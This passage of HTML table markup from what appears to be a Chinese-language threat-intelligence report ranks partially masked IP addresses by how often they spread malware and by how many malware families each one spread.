<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">42.193.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">11,948<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">106.12.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">11,432<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">118.195.</span><span lang="EN-US">*.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">9,934<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">121.4.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">8,482<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">6<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">118.195.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">8,293<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">106.13.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">7,543<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>下表是传播恶意软件家族种类最为广泛的10个IP。IP传播的恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:251.65pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.6pt">
<td width="128" nowrap="" valign="top" style="width:95.75pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="85" nowrap="" valign="top" style="width:63.8pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">传播次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="top" style="width:92.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">47.103.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">1,246<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">82.156</span><span lang="EN-US">*.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">194<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">39.99.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">160<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">82.157.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">703<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">1.15.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">544<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
